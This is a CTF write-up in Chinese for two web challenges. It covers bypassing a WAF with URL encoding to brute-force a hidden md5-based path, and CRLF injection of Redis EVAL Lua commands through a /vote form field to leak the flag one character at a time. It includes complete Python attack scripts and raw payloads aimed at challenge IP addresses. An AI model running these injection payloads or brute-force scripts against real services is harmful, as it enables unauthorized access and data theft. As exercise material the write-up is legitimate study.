Treasure Hunt
flag在md5值拼接flagtxt的文件里,如
d/4/1/d/8/c/d/9/8/f/0/0/b/2/0/4/e/9/8/0/0/9/9/8/e/c/f/8/4/2/7/e/f/l/a/g/t/x/t
访问已经存在的目录状态码是301
访问不存在的目录状态码是404
基于此差异可以写爆破脚本
这段waf可以用url编码绕过
做个lab
const express = require('express');
const app = express();// 路由处理:直接返回请求的 URL
app.get('*', (req, res) => {res.send(`Request URL: ${req.url}`);
});// 启动服务器
const port = 3000;
app.listen(port, () => {console.log(`Server is running at http://localhost:${port}`);
});
可以看到express的req.url直接取到了原始路径
gpt搓一个脚本
import http.client
import string# MD5字符集
md5_chars = string.digits + string.ascii_lowercase[:6] # 0-9, a-f# 指定的目标URL
base_url = '34.170.146.252'
port = 49215 # 端口号# 自定义URL编码函数,对数字和字母进行URL编码
def custom_urlencode(path):encoded_path = ""# 遍历路径中的每个字符for char in path:# 如果是字母或数字,则进行URL编码if char.isalnum(): # 如果字符是字母或数字# 获取字符的 ASCII 值,转换为 2位16进制并加上%encoded_path += '%' + format(ord(char), '02x')else:# 否则直接添加字符(如 /、- 等)encoded_path += charreturn encoded_path# 校验路径是否满足条件的函数
def check_path(path):# 对路径进行自定义URL编码encoded_path = custom_urlencode(path)# 创建一个http.client的连接connection = http.client.HTTPConnection(base_url, port)try:url = "/" + encoded_path # 拼接请求的路径print(f"Requesting URL: {url}") # 打印发包的URL# 发送GET请求connection.request("GET", url)# 获取响应response = connection.getresponse()print(f"Response Status Code: {response.status}") # 打印响应状态码# 假设条件是通过返回的状态码来判断if response.status == 301:print(f"Valid path found: {url}")return Trueelse:return Falseexcept Exception as e:# 如果请求失败或出错,打印错误信息print(f"Error while checking path {path}: {e}")return Falsefinally:connection.close()# 爆破路径的函数
def brute_force_path(prefix, depth=1):print(f"Starting depth {depth}: Trying path: {prefix}")if depth == 33:# 达到深度33时,停止递归print(f"Depth {depth} reached. Stopping path exploration.")returnelse:# 尝试每一个MD5字符集中的字符for char in md5_chars:new_prefix = prefix + "/" + charprint(f"Depth {depth}: Trying character: {char}, Path: {new_prefix}")if check_path(new_prefix):brute_force_path(new_prefix, depth + 1)break # 如果找到有效路径,停止尝试继续当前字符# 启动路径爆破,开始爆破第一位
brute_force_path('')
脚本跑出来的路径再拼接/f/l/a/g/t/x/t的url编码拿到flag
Alpaca Poll
js中的replace只会替换一次,详见:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#description
在/vote处注入
打redis的EVAL LUA命令注入,把dog的值换成flag的值
直接插payload会这样:
animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); redis.call('SET', 'dog', flag_value); return flag_value;" 0
原因在于getvotes方法最后只回显数字
可以先将flag字符串转ascii码
animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); local ascii_values = ''; for i = 1, #flag_value do ascii_values = ascii_values .. string.byte(flag_value, i) end; redis.call('SET', 'dog', ascii_values); return ascii_values;" 0
parseInt转出来太大了,精度不够
65108112979997120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
搓个脚本用GETRANGE逐位去读
import requeststarget = 'http://34.170.146.252:24564'
flag = ''
index = 0
while not flag.endswith('}'):payload = f'\r\n\r\nEVAL "return redis.call(\'SET\', \'dog\', string.byte(redis.call(\'GETRANGE\',\'flag\', {index}, {index})))" 0'response = requests.post(f'{target}/vote', data={'animal': 'dog' + payload}, headers={'Content-Type': 'application/x-www-form-urlencoded'})if response.status_code != 200:print(f"Error with /vote request: {response.status_code}")breakresponse = requests.get(f'{target}/votes')if response.status_code != 200:print(f"Error with /votes request: {response.status_code}")breakvotes = response.json()dog_ascii = votes.get('dog')if dog_ascii is not None:flag += chr(dog_ascii)print(f"Flag so far: {flag}")else:print("No 'dog' field in the response")breakindex += 1
print(f"Final flag: {flag}")
跑出来